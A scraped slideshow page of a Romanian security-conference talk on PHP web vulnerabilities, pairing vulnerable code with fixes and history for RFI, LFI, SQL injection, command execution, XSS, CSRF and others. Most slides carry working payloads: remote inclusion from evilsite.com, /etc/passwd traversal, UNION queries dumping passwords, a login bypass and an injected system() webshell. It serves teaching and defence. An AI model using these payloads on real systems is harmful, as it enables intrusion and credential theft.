Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Analiza si evolutia vulnerabilitatilor web

5,025 views

Published on

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Analiza si evolutia vulnerabilitatilor web

  1. 1. Analiza și evoluția vulnerabilităților web<br />The analysis and evolution of web vulnerabilities<br />Popescu Petre Alexandru<br />@DEFCAMP<br />sirgod<br />
  2. 2. Introducere<br /> Vulnerabilitățile web au apărut odată cu apariția paginilor PHP. Încet-încet, odată cu evoluția PHP-ului, și vulnerabilitățile au evoluat. Au devenit din ce în ce mai multe și mai complexe. Industria securității s-a dezvoltat și ea astfel încât, în prezent, există numeroase oportunități de angajare pentru cei pasionați de acest aspect al securității IT. <br /> Prezentarea are scopul de a informa dezvoltatorii web de greșelile de programare pe care le pot face, erori care pot avea consecințe catastrofale în cazul unor companii mari. <br /> Prezentarea este bazată pe un vechi tutorial de al meu. Informații noi au fost adăugate, unele lucruri au fost modificate. Unele informații (exemple, cod etc) sunt preluate din scriptul PHP furnizat participanților la concursul WFC 02 (din soluția trimisă de mine).<br /> Analiza unei vulnerabilități web este împărțită în câteva secții:<br /> - exemplu de bază<br /> - unul sau mai multe exemple reale<br /> - una sau mai multe metode de protejare/evitare<br /> - evoluția (istorie)<br /> - informații adiționale<br />
  3. 3. Necesare<br /><ul><li> PHP, MySQL, Apache, phpMyAdmin (sau XAMMP, WAMP etc.)
  4. 4. Text Editor (e.g. Notepad++)
  5. 5. custom php.ini
  6. 6. Cunoștințe PHP, HTML, MySQL, JavaScript
  7. 7. Răbdare și voință</li></li></ul><li>php.ini<br /><ul><li>safe_mode = off
  8. 8. disabled_functions= N/A
  9. 9. register_globals= on
  10. 10. allow_url_include = on
  11. 11. allow_url_fopen = on
  12. 12. magic_quotes_gpc = off
  13. 13. short_tag_open = on
  14. 14. asp tags = on
  15. 15. file_uploads = on
  16. 16. display_errors= on</li></li></ul><li>RFI – Remote File Inclusion<br /><ul><li>permiteincluderea de fișiere externe
  17. 17. are nevoie de condiții speciale în php.ini
  18. 18. allow_url_fopen
  19. 19. allow_url_include
  20. 20. vulnerabilitate cu grad de risc extrem de ridicat
  21. 21. funcții în PHP care permit includerea fișierelor
  22. 22. include
  23. 23. include_once
  24. 24. require
  25. 25. require_once
  26. 26. bypass
  27. 27. https, ftp etc.
  28. 28. %00 - NULLBYTE </li></li></ul><li>RFI – Remote File Inclusion<br />Exemple de bază:<br />$pagina=$_GET['pagina'];<br />include$pagina;<br /><ul><li> http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt</li></ul>$pagina=$_GET['pagina'];<br />include$pagina.‘.php';<br /><ul><li> http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00</li></li></ul><li>RFI – Remote File Inclusion<br />Exemple reale<br />if(isset($_REQUEST["main_content"])){<br />$main_content=$_REQUEST["main_content"];<br />}elseif(isset($_SESSION["main_content"])){<br />$main_content=$_SESSION["main_content"];<br />}<br />ob_start();<br />require_once($main_content);<br /><ul><li>http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt</li></li></ul><li>RFI – Remote File Inclusion<br />Fixare<br /><ul><li>eliminarecaractere speciale nepermise : /
  29. 29. switch()
  30. 30. expresii regulate (validarealfanumerică)</li></ul>Evoluție/Istorie<br /><ul><li> Vulnerabilitățile de tip Remote File Inclusion devin tot mai rare. Dacă prin anii 2004-2005 (milw0rm) se făcuseră publice o mulțime de asemenea vulnerabilități, acum de abia dacă mai zărim una, două. În scripturile moderne și populare este foarte improbabil să existe astfel de vulnerabilități. După părerea mea, RFI este una dintre vulnerabilitățile pe cale de dispariție și nu numai din cauza codului PHP scris din ce în ce mai bine, ci și din cauza configurației serverelor (php.ini). În zilele acestea, deși o vulnerabilitate pe cale de dispariție, există softuri care “caută pe Google” siteuri al căror URL corespunde cu anumite “dorkuri”.</li></li></ul><li>LFI – Local File Inclusion<br /><ul><li>permiteincluderea de fișiere locale
  31. 31. vulnerabilitate cu grad de riscridicat
  32. 32. funcții în PHP care permit includerea fișierelor
  33. 33. include
  34. 34. include_once
  35. 35. require
  36. 36. require_once
  37. 37. bypass
  38. 38. ..%5C (Windows)
  39. 39. .. (Windows)
  40. 40. %00 - NULLBYTE</li></li></ul><li>LFI – Local File Inclusion<br />Exemplu de bază<br />$pagina=$_GET['pagina'];<br />include'/pages/'.$pagina;<br /><ul><li> http://127.0.0.1/test.php?pagina=../../../../../etc/passwd
  41. 41. http://127.0.0.1/test.php?pagina=........boot.ini</li></ul>$pagina=$_GET['pagina'];<br />include'/pages/'.$pagina. ‘.php';<br /><ul><li> http://127.0.0.1/test.php?pagina=../../../../../etc/passwd%00
  42. 42. http://127.0.0.1/test.php?pagina=........boot.ini%00</li></li></ul><li>LFI – Local File Inclusion<br />Exemplu real<br />if(empty($_GET["url"]))<br />$url='step_welcome.php';<br />else<br />$url=$_GET["url"];<br /><p><?include('step/'.$url)?></p><br /><ul><li> http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd</li></li></ul><li>LFI – Local File Inclusion<br />Fixare<br /><ul><li>eliminarecaractere speciale nepermise : / .
  43. 43. switch()
  44. 44. expresii regulate (validarealfanumerică)</li></ul>Evoluție/Istorie<br /><ul><li> Vulnerabilitățile de tip Local File Inclusion suntmai rareîn zilele acestea. LFI este o vulnerabilitate mai greu de exploatat decât o vulnerabilitate de tip RFI. O alternativă a exploatării vulnerabilităților LFI, pe langă Log Injection , ar fi injectarea de cod PHP în proc/self/environ. Exploatarea ei a evoluat totuși, acum existând softuri care facfuzzing și o exploatează automat.</li></li></ul><li>LFD – Local File Disclosure/Download<br /><ul><li>permitedescărcarea/vizualizareafișierelor locale
  45. 45. vulnerabilitate cu grad de riscmediu spre ridicat
  46. 46. funcții în PHP care permit citirea fișierelor
  47. 47. file_get_contents
  48. 48. readfile
  49. 49. file
  50. 50. fopen
  51. 51. highlight_file
  52. 52. show_source
  53. 53. bypass
  54. 54. ..%5C (Windows)
  55. 55. .. (Windows)
  56. 56. %00 - NULLBYTE</li></li></ul><li>LFD – Local File Disclosure/Download<br />Exemplu de bază<br />$pagina=$_GET['pagina'];<br /> readfile($pagina);<br /><ul><li> http://127.0.0.1/test.php?pagina=../../../../../etc/passwd
  57. 57. http://127.0.0.1/test.php?pagina=../config.inc.php</li></li></ul><li>LFD – Local File Disclosure/Download<br />Exemplu real<br />$file=$_SERVER["DOCUMENT_ROOT"].$_REQUEST['file'];<br /> header("Pragma: public");<br /> header("Expires: 0");<br /> header("Cache-Control: must-revalidate, post-check=0, pre-check=0");<br /> header("Content-Type: application/force-download");<br /> header("Content-Disposition: attachment; filename=".basename($file));<br />//header( "Content-Description: File Transfer");<br /> @readfile($file);<br />die();<br /><ul><li>http://127.0.0.1/download.php?file=../../../../../../etc/passwd</li></li></ul><li>LFD – Local File Disclosure/Download<br />Fixare<br /><ul><li>eliminarecaractere speciale nepermise : / .
  58. 58. expresii regulate
  59. 59. restricționare folder (open_basedir)</li></ul>Evoluție/Istorie<br /><ul><li> Vulnerabilitățile de tip Local File Disclosure/Download suntmai rareîn zilele acestea. LFD este o vulnerabilitate asemănatoare LFI-ului, diferența dintre ele fiind că prin LFI se include codul PHP (se execută) iar prin LFD doar se citește. Nu este o vulnerabilitate atât de răspândită și cunoscută precum LFI/RFI, dar există. Probabil o să mai fie prin preajmă ceva timp, mai ales in siteurile mici, medii de file sharing/downloading. </li></li></ul><li>SQL Injection<br /><ul><li>permiteexecutarea de comenzi SQL asupra bazei de date prin requesturi alterate
  60. 60. vulnerabilitate cu grad de riscmediu spre ridicat
  61. 61. SQL Injection poate fi realizat pe mai multe tipuri de baze date
  62. 62. MySQL
  63. 63. MSSQL
  64. 64. PostgreSQL
  65. 65. etc.
  66. 66. există mai multe tipuri de injecții
  67. 67. union based
  68. 68. error based
  69. 69. blind
  70. 70. authentication bypass</li></li></ul><li>SQL Injection<br />Exemplu de bază<br />$id=$_GET['id'];<br />$result=mysql_query("SELECT name FROM members WHERE id = '$id'");<br /><ul><li>http://127.0.0.1/test.php?id=1+union+all+select+1,2,concat_ws(0x3a, user, pass),4--
  71. 71. http://127.0.0.1/test.php?id=1+union+all+select+1,2,load_file('etc/passwd'),4--
  72. 72. http://127.0.0.1/test.php?id=1+union+all+select+1,2,load_file(0x6574632f706173737764),4--</li></li></ul><li>SQL Injection<br />Exemplu real<br />$id=$_GET['itemnr'];<br />require_once($home."mysqlinfo.php");<br />$query="SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";<br />$result=mysql_query($query);<br />if(mysql_num_rows($result)){<br />$r=mysql_fetch_array($result);<br /><ul><li>http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--</li></li></ul><li>SQL Injection<br />Exemplu real: Login Bypass<br />$postbruger=$_POST['username'];<br />$postpass= md5($_POST['password']);<br />$resultat=mysql_query("SELECT * FROM ".$tablestart."login WHERE brugernavn = '$postbruger' AND password = '$postpass'")<br />ordie("<p>".mysql_error()."</p>n");<br />Post Data (sent)<br /> username: admin ' or' 1=1<br /> password: sirgod<br />$resultat=mysql_query("SELECT * FROM ".$tablestart."login WHERE brugernavn = 'admin ' or ' 1=1 ' AND password = 'sirgod'");<br />
  73. 73. SQL Injection<br />Fixare<br /><ul><li> int, is_numeric pentru variabile numerice
  74. 74. expresii regulate (validare alfanumerică)
  75. 75. mysql_real_escape_string
  76. 76. filtrare caractere speciale ; - , . ( ) * / ‘ “</li></ul>Evoluție/Istorie<br /><ul><li>Vulnerabilitățile de tip SQL Injection sunt foarte răspândite. În ultimul timp a avut loc o “explozie” a injectatului cod SQL în variabile. O vulnerabilitate periculoasă si cunoscută multor oameni din “underground” sau nu. De-a lungultimpuluimetodele de exploatare s-au diversificat, metode de bypass a protecțiilor (WAF, mod_security) au apărut. În zilele astea, accesul la baza de date nu este ceva extraordinar, s-a ajuns de mult la lucrul cu fișiere (load_file into outfile) și executarea de comenzi asupra sistemului de operare. </li></li></ul><li>Insecure Cookie Handling<br /><ul><li> ne permite să trecem peste faza de logare
  77. 77. mărire privilegii (dacă sunt stocate în cookie)
  78. 78. vulnerabilitate cu grad de riscmediu spre ridicat
  79. 79. modificare variabile
  80. 80. direct din cookie (cookie editor)
  81. 81. din URL Bar (JavaScript)</li></li></ul><li>Insecure Cookie Handling<br />Exemplu de bază<br />if($_POST['password']==$thepass){<br />setcookie("is_user_logged","1");<br />}else{die("Login failed!");}<br />if($_COOKIE['is_user_logged']=="1")<br />{include"admin.php";else{die('not logged');}<br /><ul><li>javascript:document.cookie = "is_user_logged=1; path=/";</li></li></ul><li>Insecure Cookie Handling<br />Exemplu real<br />if($_COOKIE[PHPMYBCAdmin]==''){<br />if(!$_POST[login]=='login'){<br />die("Please Login:<BR><form method=post><input type=password<br /> name=password><input type=hidden value=login name=login><input<br /> type=submit></form>");<br />}elseif($_POST[password]==$bcadminpass){<br />setcookie("PHPMYBCAdmin","LOGGEDIN", time()+60*60);<br /> header("Location: admin.php");}else{die("Incorrect");}<br />}<br /><ul><li> javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/";</li></li></ul><li>Insecure Cookie Handling<br />Fixare<br /><ul><li> folosire sesiuni</li></ul>Evoluție/Istorie<br /><ul><li> Insecure Cookie Handling este o vulnerabilitate veche, nu o mai întalnim în zilele acestea decât în scripturi obscure și nefolosite. O întâlnim la scripturi vechi, cel mai probabil scripturi scrise înainte ca $_SESSION să apară (înainte de PHP 4.1.0). </li></li></ul><li>Remote Command Execution<br /><ul><li> ne permite să executăm comenzi asupra serverului (permisiuni www/apache)
  82. 82. funcții în PHP care ne permit executare de comenzi
  83. 83. exec
  84. 84. passthru
  85. 85. shell_exec
  86. 86. system
  87. 87. vulnerabilitate cu grad de risc foarteridicat
  88. 88. exec() nu arată outputul comenzii, dar ea este executată
  89. 89. comenzi multiple/bypass (operatorul && și ||)</li></li></ul><li>Remote Command Execution<br />Exemplu de bază<br />$cmd=$_GET['cmd'];<br /> system($cmd);<br /><ul><li> http://127.0.0.1/test.php?cmd=whoami
  90. 90. http://127.0.0.1/test.php?cmd=junk||dir</li></li></ul><li>Remote Command Execution<br />Exemplu real<br />$status=$_GET['status'];<br />$ns=$_GET['ns'];<br />$host=$_GET['host'];<br />$query_type=$_GET['query_type'];// ANY, MX, A , etc.<br />$ip=$_SERVER['REMOTE_ADDR'];<br />$self=$_SERVER['PHP_SELF'];<br />$host= trim($host);<br />$host=strtolower($host);<br />echo("<span class="plainBlue"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");<br />echo'<pre>';<br /> system ("dig @$ns $host $query_type");<br /><ul><li> http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging</li></ul>Comandă executată: dig ||whoami|| sirgod.net NS<br />
  91. 91. Remote Command Execution<br />Exemplu real: Complex<br />$user=$_POST['user'];<br />$pass1=$_POST['pass1'];<br />$pass2=$_POST['pass2'];<br />$email1=$_POST['email1'];<br />$email2=$_POST['email2'];<br />$location=$_POST['location'];<br />$url=$_POST['url'];<br />$filename="./sites/".$user.".php";<br />$html="<?php<br /> $regdate = "$date";<br /> $user = "$user";<br /> $pass = "$pass1";<br /> $email = "$email1";<br /> $location = "$location";<br /> $url = "$url";<br /> ?>";<br />$fp=fopen($filename,'a+');<br />fputs($fp,$html)ordie("Could not open file!");<br />
  92. 92. Remote Command Execution<br />Codul din fișierul creat<br />$regdate="13 June 2009, 4:16 PM";<br />$user="pwned";<br />$pass="pwned";<br />$email="pwned@yahoo.com";<br />$location= “CODUL NOSTRU";<br />$url="http://google.ro";<br />Cod injectat<br />";?><?php system($_GET['cmd']);?><?php $xxx=":D<br />
  93. 93. Remote Command Execution<br />Codul din fișierul creat după executarea injecției<br />$regdate="13 June 2009, 4:16 PM";<br />$user="pwned";<br />$pass="pwned";<br />$email="pwned@yahoo.com";<br />$location="";?><?php system($_GET['cmd']);?><?php$xxx=":D";<br />$url="http://google.ro";<br /><ul><li>http://127.0.0.1/sites/ourusername.php?cmd=whoami</li></li></ul><li>Remote Command Execution<br />Fixare<br /><ul><li> folosire funcții precum
  94. 94. escapeshellarg (escapează orice caracter care poate fi folosit pentru a executa cod arbitrar)</li></ul>Evoluție/Istorie<br /><ul><li> Remote Command Execution este o vulnerabilitate foarte periculoasă, dar nu mai este atât de răspândită ca acum câțiva ani. De obicei prezentă in scripturi de WHOIS, precum cel din exemplul anterior. O putem numi “vulnerabilitateasupremă”, deoarecetoatecelelaltevulnerabilități sunt exploatate ca să se ajungă la execuție de cod arbitrar, pe când aceasta ne oferă execuție de cod în mod direct.</li></li></ul><li>Remote Code Execution<br /><ul><li> ne permite să executăm cod PHP
  95. 95. funcții în PHP care ne permit executare de cod
  96. 96. eval
  97. 97. vulnerabilitate cu grad de risc foarteridicat
  98. 98. trebuie folosit cod PHP valid (inclusiv ;)</li></li></ul><li>Remote Code Execution<br />Exemplu de bază<br />$code=$_GET['code'];<br />eval($code);<br /><ul><li> http://127.0.0.1/test.php?code=phpinfo();
  99. 99. http://127.0.0.1/test.php?code=system(whoami);</li></li></ul><li>Remote Code Execution<br />Exemplu real<br />$conf=array_merge($conf,$confweb);<br />}<br /> @eval(stripslashes($_REQUEST['anticode']));<br />if($_SERVER['HTTP_CLIENT_IP'])<br /><ul><li>http://127.0.0.1/test.php?anticode=phpinfo();
  100. 100. http://127.0.0.1/test.php?anticode=system(whoami);</li></li></ul><li>Remote Code Execution<br />Fixare<br /><ul><li> nepermiterea caracterelor speciale, în special a caracterului ;
  101. 101. găsire alternative</li></ul>Evoluție/Istorie<br /><ul><li> Remote Code Execution nu este o vulnerabilitate foarte răspândită, nici nu a fost vreodată. Peste foarte puține cazuri am dat, eval fiind o funcție nu prea folosită de programatori.</li></li></ul><li>Cross-Site Scripting<br /><ul><li> ne permite să executăm cod JavaScript
  102. 102. funcții în PHP care afișează variabile
  103. 103. print
  104. 104. echo
  105. 105. die
  106. 106. exit
  107. 107. vulnerabilitate cu grad de risc mediu
  108. 108. metode de exploatare
  109. 109. cookie stealing
  110. 110. XSS worm
  111. 111. o mulțime de metode de bypass</li></li></ul><li>Cross-Site Scripting<br />Exemple de bază<br />$name=$_GET['name'];<br />print$name;<br /><ul><li>http://127.0.0.1/test.php?name=<script>alert("XSS")</script></li></ul>$name=addslashes($_GET['name']);<br />print'<table name="'.$name.'"></table>';<br /><ul><li>http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode(88,83,83))</script></li></li></ul><li>Cross-Site Scripting<br />Exemplu real<br />if(isset($name)){<br />}else{<br />die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");<br /><ul><li>http://127.0.0.1/test.php?name=<script>alert("XSS")</script></li></li></ul><li>Cross-Site Scripting<br />Fixare<br /><ul><li> eliminarea caracterelor speciale din stringuri
  112. 112. folosirea unor funcții PHP
  113. 113. htmlentities (cu sau fără ENT_QUOTES)
  114. 114. htmlspecialchars (cu sau fără ENT_QUOTES)</li></ul>Evoluție/Istorie<br /><ul><li>Cross-Site Scripting este o vulnerabilitate extrem de cunoscută, chiar cea mai cunoscută. Deși considerată de mulți inofensivă, nu este. În zilele de azi avem viermi XSS sau putem folosi XSS pentru a trece de protecții anti-CSRF. Avem DOM XSS. Vulnerabilitate foarte des întâlnită, atat cât și în anii trecuți cât și în prezent. Viitorul îl are asigurat, datorită vectorilor ciudați născociți în fiecare zi, vectori care par să treacă peste multe filtre puse de programatori.</li></li></ul><li>Authentication Bypass<br /><ul><li> ne permite să trecem peste sistemele de autentificare
  115. 115. este de mai multe feluri
  116. 116. variabilă de login
  117. 117. control panel neprotejat
  118. 118. insecure cookie handling (prezentat anterior)
  119. 119. login bypass (SQL Injection) (prezentat anterior)
  120. 120. vulnerabilitate cu grad de risc mediu</li></li></ul><li>Authentication Bypass<br />Exemplu de bază (variabilă de login)<br />if($logged==true){<br />echo'Logged in.';}<br />else{<br />print'Not logged in.';<br />}<br /><ul><li>http://127.0.0.1/test/php?logged=1 *</li></ul>Exemplu debază (și real) (admin CP neprotejat)<br /><ul><li> http://127.0.0.1/admin/files.php</li></ul>* Aici este nevoie ca register_globals din php.ini să fie ON <br />
  121. 121. Authentication Bypass<br />Exemplu real<br />if($login_ok)<br />{<br />$_SESSION['loggato']=true;<br />echo"<p>$txt_pass_ok</p>";<br />echo"<div align='center'><a href='index.php'>$txt_view_entry</a> | <br /> <a href='admin.php'>$txt_delete-$txt_edit</a> | <a href='install.php'>$txt_install<br /> </a></div>";<br />}<br /><ul><li>http://127.0.0.1/login.php?login_ok=1</li></li></ul><li>Authentication Bypass<br />Fixare<br />Variabilă de login<br /><ul><li> sistem de autentificare REAL</li></ul>Admin CP neprotejat<br /><ul><li> .htaccess
  122. 122. .htpasswd
  123. 123. sistem de autentificare</li></ul>Evoluție/Istorie<br /><ul><li> Foarte rare cazurile în care am dat peste așa ceva, dar au fost câteva. Scripturi mai vechi sau mai obscure, în orice caz. Nu ca ar fi fost vreodată foarte răspândite, dar în momentul de față nu se “găsesc”. Plus că “variabila de login” arfi “moartă” acum, deoarece are nevoie de register_globals (începând cu PHP 4.2.0 a fost setată implicit pe OFF, iar începând cu PHP 5.3.0 a fost dezaprobată).</li></li></ul><li>Insecure Permissions<br /><ul><li>acces la fișiere private (users/passwords, no SQL)
  124. 124. acces la baza de date (backup)
  125. 125. acces la codul sursă (.inc)
  126. 126. vulnerabilitate cu grad de risc mediu</li></li></ul><li>Insecure Permissions<br />Exemple de bază<br />1) Fișiere administrative neprotejate (FICTIV)<br />admin/db_lookup.php<br />// Look up in the databasereadfile('protected/usersdb.txt');<br /><ul><li>http://127.0.0.1/admin/db_lookup.php</li></ul>2) Citire users/passwords (REAL)<br /><ul><li>http://127.0.0.1/userpwd.txt</li></ul>3) Fișiere INC<br /><ul><li>http://127.0.0.1/inc/mysql.inc</li></li></ul><li>Insecure Permissions<br />Exemplu real<br />4) Descărcare backup<br />functionmysqlbackup($host,$dbname,$uid,$pwd,$structure_only,$crlf){<br />$con=@mysql_connect("localhost",$uid,$pwd)ordie("Could not connect");<br />$db=@mysql_select_db($dbname,$con)ordie("Could not select db");<br />mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);<br /><ul><li>http://127.0.0.1/adminpanel/phpmydump.php</li></li></ul><li>Insecure Permissions<br />Fixare<br />Fișiere administrative neprotejate<br /><ul><li> .htaccess, .htpasswd, autentificare</li></ul>Citire users/passwords<br /><ul><li> criptare useri/parole într-un fișier obscur, protejat
  127. 127. folosire bază de date</li></ul>Fisiere INC<br /><ul><li> .htaccess, .htpasswd, autentificare, salvare ca PHP</li></ul>Download backup<br /><ul><li> cerere logare pentru fișierul administrativ de backup</li></ul>Evoluție/Istorie<br /><ul><li> Vulnerabilități nu prea răspândite, există doar în scripturi vechi, obscure sau scrise de începători.</li></li></ul><li>Cross-Site Request Forgery<br /><ul><li>ne permite executarea de requesturi de la distanță
  128. 128. requesturi simple (variabile GET, POST)
  129. 129. requesturi complexe (formulare)
  130. 130. requesturi cu fișiere
  131. 131. vulnerabilitate cu grad de risc mediu/ridicat
  132. 132. metode de a trece de tokenuri
  133. 133. via XSS
  134. 134. predictible token</li></li></ul><li>Cross-Site Request Forgery<br />Exemplu de bază<br />check_auth();<br />if(isset($_GET['news']))<br />{ unlink('files/news'.$news.'.txt');}<br />else{<br />die('File not deleted');}<br /><ul><li>http://127.0.0.1/test.php?news=1</li></li></ul><li>Cross-Site Request Forgery<br />Exemplu real<br />includes/pages/admin.php<br />if($_GET['act']==''){<br />include"includes/pages/admin/home.php";<br />}else{<br />include"includes/pages/admin/".$_GET['act'].".php";<br />* Dacă valoarea variabilei act este members, fișierul includes/pages/admin/members.php va fi<br />inclus. <br />includes/pages/admin/members.php<br />if($_GET['func']=='delete'){<br />$del_id=$_GET['id'];<br />$query2121="select ROLE from {$db_prefix}members WHERE ID='$del_id'";<br />$result2121=mysql_query($query2121)ordie("delete.php - Error in query: $query2121");<br />while($results2121=mysql_fetch_array($result2121)){<br />$their_role=$results2121['ROLE'];<br />}<br />if($their_role!='1'){<br />mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'")ordie(mysql_error<br />());<br />* Dacă valoarea variabilei func este delete, scriptul execută query-ul de mai sus.<br /><ul><li>http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4</li></li></ul><li>Cross-Site Request Forgery<br />Fixare<br /><ul><li> folosire token random
  135. 135. folosire CAPTCHA
  136. 136. cerere parolă pentru a trimite formularul</li></ul>Evoluție/Istorie<br /><ul><li> Vulnerabilitate nu foarte “veche”, dartotuși cu ceva ani buni la activ. Foarte răspândită și foarte periculoasă în anumite cazuri. Mai greu de exploatat pentru scripturi custom made, deoarece formularele administrative nu sunt vizibile. Va avea un viitor, deja s-au găsit metode de a trece de protecțiile cu token și de sistemele CAPTCHA. </li></li></ul><li>Path Disclosure<br /><ul><li> ne oferă informații folositoare în anumite cazuri
  137. 137. poate fi realizat în mai multe moduri
  138. 138. este o vulnerabilitate cu grad de risc scăzut
  139. 139. este folositoare pentru LFI sau SQL Injection (load_file)</li></li></ul><li>Path Disclosure<br />Exemple de bază<br />1) Eroaregenerată de funcție<br />$message=htmlentities($_GET['page']);<br />echo$message;<br /><ul><li>http://127.0.0.1/test.php?page[]=Cool</li></ul>Warning: htmlentities() expects parameter 1 to be string, array given in C:wampwwwtest.php on line 3<br />2) Eroare generată de incluziune eșuată<br />// we are already in the file directory<br />include'file/file.inc';<br /><ul><li>http://127.0.0.1/theabovefile.php</li></ul>Warning: include(file/file.inc) [function.include]: failed to open stream: No such file or directory in C:wampwwwfilefile.php on line 4<br />Warning: include() [function.include]: Failed opening 'file/file.inc' for inclusion (include_path='.;C:phppear') in C:wampwwwfilefile.php on line 4<br />
  140. 140. Path Disclosure<br />3) Eroare generată de nullificarea sesiunii (PHPSESSID)<br />session_start();<br />if(!empty($_GET['newpass'])){<br />$_SESSION['secret']=$newpass;<br />}else{<br />echo'Not defined';<br />}<br />session_destroy();<br /><ul><li>javascript:document.cookie="PHPSESSID=";</li></ul>Warning: session_start() [function.session-start]: The session id is too long or contains illegal characters, <br />valid characters are a-z, A-Z, 0-9 and '-,' in C:wampwwwtest.php on line 3<br />
  141. 141. Path Disclosure<br />Fixare<br /><ul><li> setare display_errors din php.ini OFF
  142. 142. folosirea silent (@) la incluziune
  143. 143. includerea fișierelor ca un om normal</li></ul>Evoluție/Istorie<br /><ul><li> Vulnerabilitate nu foarte cunoscută și nu foarte căutată, deoarece nu oferă foarte multe informații de una singură. Foarte folositoare când path-ul către fișier devine important pentru a evita alte zeci de requesturi. </li></li></ul><li>Vulnerabilități CAPTCHA<br /><ul><li> trecerea de CAPTCHA ne permite automatizarea unor requesturi
  144. 144. grad de risc variabil
  145. 145. CAPTCHA vulnerabile
  146. 146. salvare cod in COOKIE
  147. 147. dimensiuni ale imaginii generate manipulabile (DoS)
  148. 148. folosirea unui cod salvat TEXT în pagină
  149. 149. OCR (nu este prezent în prezentare)</li></li></ul><li>Vulnerabilități CAPTCHA<br />Exemplu (WFC) – Salvare în COOKIE<br />functioncaptcha($limit1,$w,$h)<br />{<br />$v1= rand(1,$limit1);<br />$scaptcha=$v1/(strlen($v1)*1000);<br />$img=imagecreate($w,$h);<br />$white=imagecolorallocate($img,255,255,255);<br />$black=imagecolorallocate($img,0,0,0);<br />$grey=imagecolorallocate($img,205,204,205);<br />imagefill($img,0,0,$black);<br />imagestring($img, rand(1,10), rand(1,35), rand(5,10),$scaptcha,$white);<br /> imagerectangle ($img,0,0,$w-1,$h-1,$grey);<br /> imageline ($img,0,$h/2,$w,$h/2,$grey);<br /> imageline ($img,$w/2,0,$w/2,$h,$grey);<br />setcookie('cvalue',$scaptcha,time()+7200);<br /> header("Content-Type: image/jpeg");<br />imagejpeg($img);<br />}<br /><ul><li> Codul poate fi preluat din COOKIE și folosit pentru a trece de sistem</li></li></ul><li>Vulnerabilități CAPTCHA<br />Exemplu real (CaptchaSecurityImages.php) – DoS<br />$width=isset($_GET['width'])?$_GET['width']:'120';<br />$height=isset($_GET['height'])?$_GET['height']:'40';<br />$characters=isset($_GET['characters'])&&$_GET['characters']>1?$_GET['characters']:'6';<br /><ul><li>http://127.0.0.1/CaptchaSecurityImages.php?width=3000&height=3000&characters=6</li></li></ul><li>Vulnerabilități CAPTCHA<br />Exemplu - Afișare cod în pagină<br /><?php<br />session_start();<br />if(isset($_POST['submit']))<br />{<br />if($_POST['cod']==$_SESSION['captcha'])<br />{<br />print'Succes';<br />$_SESSION['captcha']= rand(1000,10000);<br />}<br />elseprint'Mai incearca';<br />}<br />?><br /><formmethod="post"><br /> Cod: <br /><?php<br />if(isset($_SESSION['captcha']))print$_SESSION['captcha'];<br />else<br />{<br />$_SESSION['captcha']= rand(1000,10000);<br />print$_SESSION['captcha'];<br />}<br />?><br /><inputtype="text"name="cod"value=""/><br /><inputtype="submit"name="submit"value="Click"/><br /></form><br /><ul><li> Codul poate fi citit din sursa paginii</li></li></ul><li>Vulnerabilități CAPTCHA<br />Fixare<br />Salvare in COOKIE<br /><ul><li>salvare cod CAPTCHA în sesiuni</li></ul>DoS<br /><ul><li> valori fixe sau limitate pentru înalțimea și lățimea imaginii generate</li></ul>Afișare cod în pagină<br /><ul><li> afișare cod pe imagine</li></ul>Evoluție/Istorie<br /><ul><li> Vulnerabilitate sistemelor CAPTCHA nu sunt foarte răspândite (deși CaptchaSecurityImages era foarte popular) deoarece majoritatea utilizatorilor folosesc soluții precum reCaptcha sau creații proprii bune. </li></li></ul><li>Improper methods<br /><ul><li> login bruteforce
  150. 150. password reset
  151. 151. insecure “not-so-random” passwords
  152. 152. vulnerabilități cu grad de risc mediu</li></li></ul><li>Improper methods<br />Exemplu WFC - Login bruteforce<br />if(isset($_POST)&&sizeof($_POST)==2)<br />{<br />$user=$_POST['username'];<br />$passwd=$_POST['password'];<br />$state=$users->doLogin($user,$passwd,true);<br />switch($state)<br />{<br />case1:echo'<META HTTP-EQUIV=Refresh CONTENT="0; URL=?page=home">';break;<br />case-1:echo'Invalid password.';break;<br />case-2:echo'Invalid username.';break;<br />case-3:echo'User logged.';break;<br />}<br />echo'<br />';<br />}<br />?><br />}<br /><ul><li> Login bruteforce (nu e CAPTCHA, nici număr limitat de încercări)</li></li></ul><li>Improper methods<br />Exemplu WFC – Password Reset<br />$db->query("SELECT * FROM `users` WHERE username_clean = '".$_POST['username']."' LIMIT 1");<br />if($db->getNumRows()==1)<br />{<br />$npasswd= md5(rand(1,99999));<br />$row=$db->fetch_array();<br />if(stripos($_POST['email'],$row['email'])!==FALSE)<br />{<br />$db->query("UPDATE `users` set password='".$npasswd."' WHERE username_clean =<br /> '".mysql_real_escape_string($_POST['username'])."' LIMIT 1");<br />echo'Successfully reseted. You received an e-mail with your new password.';<br /><ul><li> Requesturi automate, parolă resetată continuu</li></li></ul><li>Improper methods<br />Exemplu WFC – insecure “not-so-random” passwords<br />$npasswd= md5(rand(1,99999));<br />$row=$db->fetch_array();<br />if(stripos($_POST['email'],$row['email'])!==FALSE)<br />{<br />$db->query("UPDATE `users` set password='".$npasswd."' WHERE username_clean = '".mysql_real_escape_string($_POST['username'])."' LIMIT 1");<br />echo'Successfully reseted. You received an e-mail with your new password.';<br /><ul><li> Număr relativ mic de parole posibile, bruteforce login după resetare</li></li></ul><li>Improper Methods<br />Fixare<br />Login Bruteforce<br /><ul><li> CAPTCHA, număr limitat de logări eșuate permise</li></ul>Password reset<br /><ul><li> CAPTCHA, activare parolă nouă pe email, resetare imposibilă pana la activarea 